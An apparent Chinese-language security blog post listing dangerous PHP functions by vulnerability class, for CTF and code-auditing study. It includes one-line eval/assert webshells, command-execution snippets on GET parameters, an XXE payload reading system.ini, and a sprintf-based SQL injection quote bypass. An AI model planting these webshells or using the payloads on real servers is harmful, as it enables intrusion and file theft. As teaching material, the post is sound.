php常見的危險函數
程式碼執行的危險函數
- eval() 把字元串作為php程式碼執行
早期php一句話木馬都用這個
<?php @eval($_POST['shell']);?>
- assert() 檢查一個斷言是否為
false
,將字元串作為php程式碼執行
同樣經常被用作一句話木馬
<?php assert(@$_POST['shell']); ?>
- preg_replace() 執行正則表達式的搜索和替換
當匹配模式/e
時,該函數會將$replacement
作為php程式碼執行
preg_replace("/test/e",$_GET["shell"],"just test");
- create_function() 創建一個匿名函數
跟python的lambda語句類似,在php7.2.0後被廢棄
$newfunc = create_function('$v', 'return system($v);');
$newfunc('whoami');
- array_map() 為數組的每個元素應用回調函數
array_map()函數將用戶自定義的函數作用到數組中的每個值上,並返回用戶自定義函數作用後帶有新值的數組,這裡相當於一種動態調用
<?php
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?>
- call_user_func() 把第一個參數作為回調函數調用,其他參數是回調函數的參數
<?php
@call_user_func("assert",$_GET['cmd']);
?>
- call_user_func_array() 調用回調函數,並將第一個數組參數作為回調函數參數
<?php
$cmd=$_GET['cmd'];
$array[0]=$cmd;
@call_user_func_array("assert",$array);
?>
- array_filter() 使用回調函數過濾數組的元素
依次將數組中的每個值傳遞到callback
函數,如果callback
函數返回true
,則數組的當前值會被包含在返回的結果數組中,數組的鍵名保留不變
<?php
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
命令執行的危險函數
- system() 執行外部程式,並顯示輸出
<?php
system($_GET['cmd']);
?>
- exec() 執行外部程式
<?php
echo exec("whoami");
?>
- shell_exec() 通過shell環境執行命令,並將完整的輸出以字元串的方式返回
<?php
echo shell_exec("whoami");
?>
- passthru() 執行外部程式並且顯示原始輸出
<?php
passthru("whoami");
?>
- proc_open() 執行一個命令,並且打開用來輸入/輸出的文件指針
- pcntl_exec() 在當前進程空間執行指定程式
- popen() 打開進程文件指針
- 反引號,實質上還是調用的
shell_exec()
函數,在CTF題目裡面有的時候會忘記過濾導致直接拿到flag
文件包含的危險函數
php中包含的函數一共有四個,主要作用為包含並運行指定文件
- require() 函數
- inclue() 函數
- require_once() 函數
- include_once() 函數
include()
與require_once()
主要的區別是:include()
在包含的過程中如果出現錯誤,會拋出一個警告,程式繼續運行;而require()
函數出現錯誤時,會直接報錯並退出程式的執行
require_once()
和include_once()
,顯然表示的是文件只包含一次的意思,避免函數重定義和變數重新賦值等問題
文件包含還分為了本地文件包含和遠程文件包含,這裡就不再進行贅述
當被包含文件可控的情況下,我們可以包含任意文件,從而達到GetShell的目的,也可以使用filter偽協議讀取文件內容,關於php偽協議會在後面的文章進行介紹
SSRF的危險函數
- file_get_contents()
- fsockopen()
- curl_exec()
- fopen()
- readfile()
- …
函數使用不當會造成SSRF漏洞
利用的相關協議:
- file協議: 在有回顯的情況下,利用file協議可以讀取任意的內容
- dict協議: 泄露安裝軟體版本資訊,查看埠,操作內網redis服務等
- gopher協議: gopher支援發出GET,POST請求,可以通過抓包然後構造成gopher協議的請求
- http/s: 探測內網主機存活
一個簡單的file_get_contents()
案例
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
直接在本地環境上測試了,使用file協議讀一下system.ini
文件
XXE的危險函數
XXE指XML外部實體注入
當允許引用外部實體時,通過構造惡意內容,就可能導致任意文件讀取,系統命令執行,內網埠探測,攻擊內網網站等危害
這類漏洞可以根據危險函數逆推回去,危險函數有:
- simplexml_load_string() 轉換形式良好的 XML 字元串為 SimpleXMLElement 對象,然後輸出對象的鍵和元素
- asXML()
- simplexml_load_file()
- simplexml_import_dom()
- …
本地搭建一個存在XXE的環境
<?php
error_reporting(0); //禁用外部實體注入 設置為false 相當於不禁用
libxml_disable_entity_loader (false);
//php://input ===> post請求體的內容
$xmlfile = file_get_contents('php://input');
//exit(-1);
//創建一個DOMDocument類型的對象
$dom = new DOMDocument();
//loadXML 從字元串中讀取,生成一個DOMDocument類型的對象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//var_dump($dom);
//exit(-1);
//把一個DOMDocument類型的對象轉發成一個simpleXML類型的對象
$creds = simplexml_import_dom($dom); //因為存在SIMPLEXMLelement存在__toString__魔術方法, //因此可以直接列印
echo $creds;
?>
payload為
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM
"php://filter/read=convert.base64-encode/resource=C:/Windows/system.ini"> ]>
<creds>&goodies;</creds>
成功讀取base64加密後的system.ini
文件內容
php防禦手段:
設置
libxml_disable_entity_loader
=TRUE來禁用外部實體
文件操作相關函數
文件操作無外乎增刪改查
,在不同場景下利用手法不同
- 增,改 : 寫入shell相關的內容
- 刪 : 刪除.lock文件導致CMS重新安裝
- 查 讀取配置等文件,拿到敏感資訊
- …
文件操作的函數有很多:
- unlink() 傳入文件名刪除文件
- copy() 複製文件
- highlight_file() 對php文件語法高亮顯示
- show_source() highlight_file的別名
- file_get_contents()
- fopen()
- parse_ini_file()
- readfile()
- fread()
- …
敏感資訊的危險函數
- phpinfo() 輸出關於php配置的資訊
- getenv() 獲取一個環境變數的值
- get_current_user() 獲取當前php腳本所有者的名稱
- getlastmod() 獲取頁面最後修改的時間
- ini_get() 獲取一個配置選項的值
- glob() 尋找與模式匹配的文件路徑
反序列化危險函數
- 序列化函數
serialize()
- 反序列化函數
unserialize()
- php十六個魔術方法,魔術方法命名是以符號__開頭的
__construct()
類的構造函數__destruct()
類的析構函數__call()
在對象中調用一個不可訪問方法時調用__callStatic()
用靜態方式中調用一個不可訪問方法時調用__get()
獲得一個類的成員變數時調用__set()
設置一個類的成員變數時調用__isset()
當對不可訪問屬性調用isset()或empty()時調用__unset()
當對不可訪問屬性調用unset()時被調用。__sleep()
執行serialize()時,先會調用這個函數__wakeup()
執行unserialize()時,先會調用這個函數__toString()
類被當成字元串時的回應方法__invoke()
調用函數的方式調用一個對象時的回應方法__set_state()
調用var_export()導出類時,此靜態方法會被調用。__clone()
當對象複製完成時調用__autoload()
嘗試載入未定義的類__debugInfo()
列印所需調試資訊
關於如何利用反序列化漏洞,取決於應用程式的邏輯、可用的類和魔法方法。
unserialize
的參數用戶可控,攻擊者可以構造惡意的序列化字元串。當應用程式將惡意字元串反序列化為對象後,也就執行了攻擊者指定的操作,如程式碼執行、任意文件讀取等
SQL注入的危險函數
- mysql_query() 發送一條MySQL查詢
- mysql_connect() 打開一個到MySQL伺服器的鏈接
- sprintf() 將格式化的字元串寫入變數中
sprintf(format,arg1,arg2,arg++)
arg1
、arg2
、arg++
參數將被插入到主字元串中的百分號(%)符號處。該函數是逐步執行的。在第一個 % 符號處,插入 arg1,在第二個 % 符號處,插入 arg2,依此類推。
注釋:如果 % 符號多於 arg 參數,則您必須使用佔位符。佔位符位於 % 符號之後,由數字和 “$” 組成。
可以利用sprintf()繞過一些過濾字元的函數,例如在如下場景中
<?php
error_reporting(0);
$name = $_GET['name'];
$name = mysql_escape_string(stripslashes($name));
$sql = sprintf("select * from product where name = '$name' and adddate <= '%s' limit 1",date("Y-m-d H:i:s"));
echo $sql;
?>
我們的單引號被過濾了
可以利用sprintf()
的特性吃掉\
- urldecode() 解碼已編碼的URL字元串
- rawurldecode() 對已編碼的URL字元串進行解碼
- is_numeric() 判斷傳入參數是否為字元串
is_numeric()
函數存在插入十六進位字元串到資料庫,進而導致SQL二次注入的風險
參考鏈接
- //www.freebuf.com/articles/web/269184.html
- //www.cnblogs.com/xiaozi/p/7834367.html
- //www.cnblogs.com/xiaozi/p/7831529.html
- //www.freebuf.com/articles/web/182280.html
- //segmentfault.com/a/1190000007250604
- //xz.aliyun.com/t/7405
- //www.erikten.cn/posts/dcd7a0ad.html
- //xz.aliyun.com/t/5877
- //blog.csdn.net/qq1124794084/article/details/104802553
- //www.freebuf.com/column/231352.html
END
建了一個微信的安全交流群,歡迎添加我微信備註進群
,一起來聊天吹水哇,以及一個會發布安全相關內容的公眾號,歡迎關注 😃

